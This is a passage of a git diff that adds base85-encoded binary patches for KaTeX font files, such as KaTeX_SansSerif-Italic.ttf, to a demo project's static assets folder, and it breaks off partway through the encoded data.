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 G>;nKVNojrn literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_SansSerif-Italic.ttf b/demo/static/dist/assets/KaTeX_SansSerif-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..d5850df98ec19de2eee9ff922ef59586efe471d0 GIT binary patch literal 22364 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 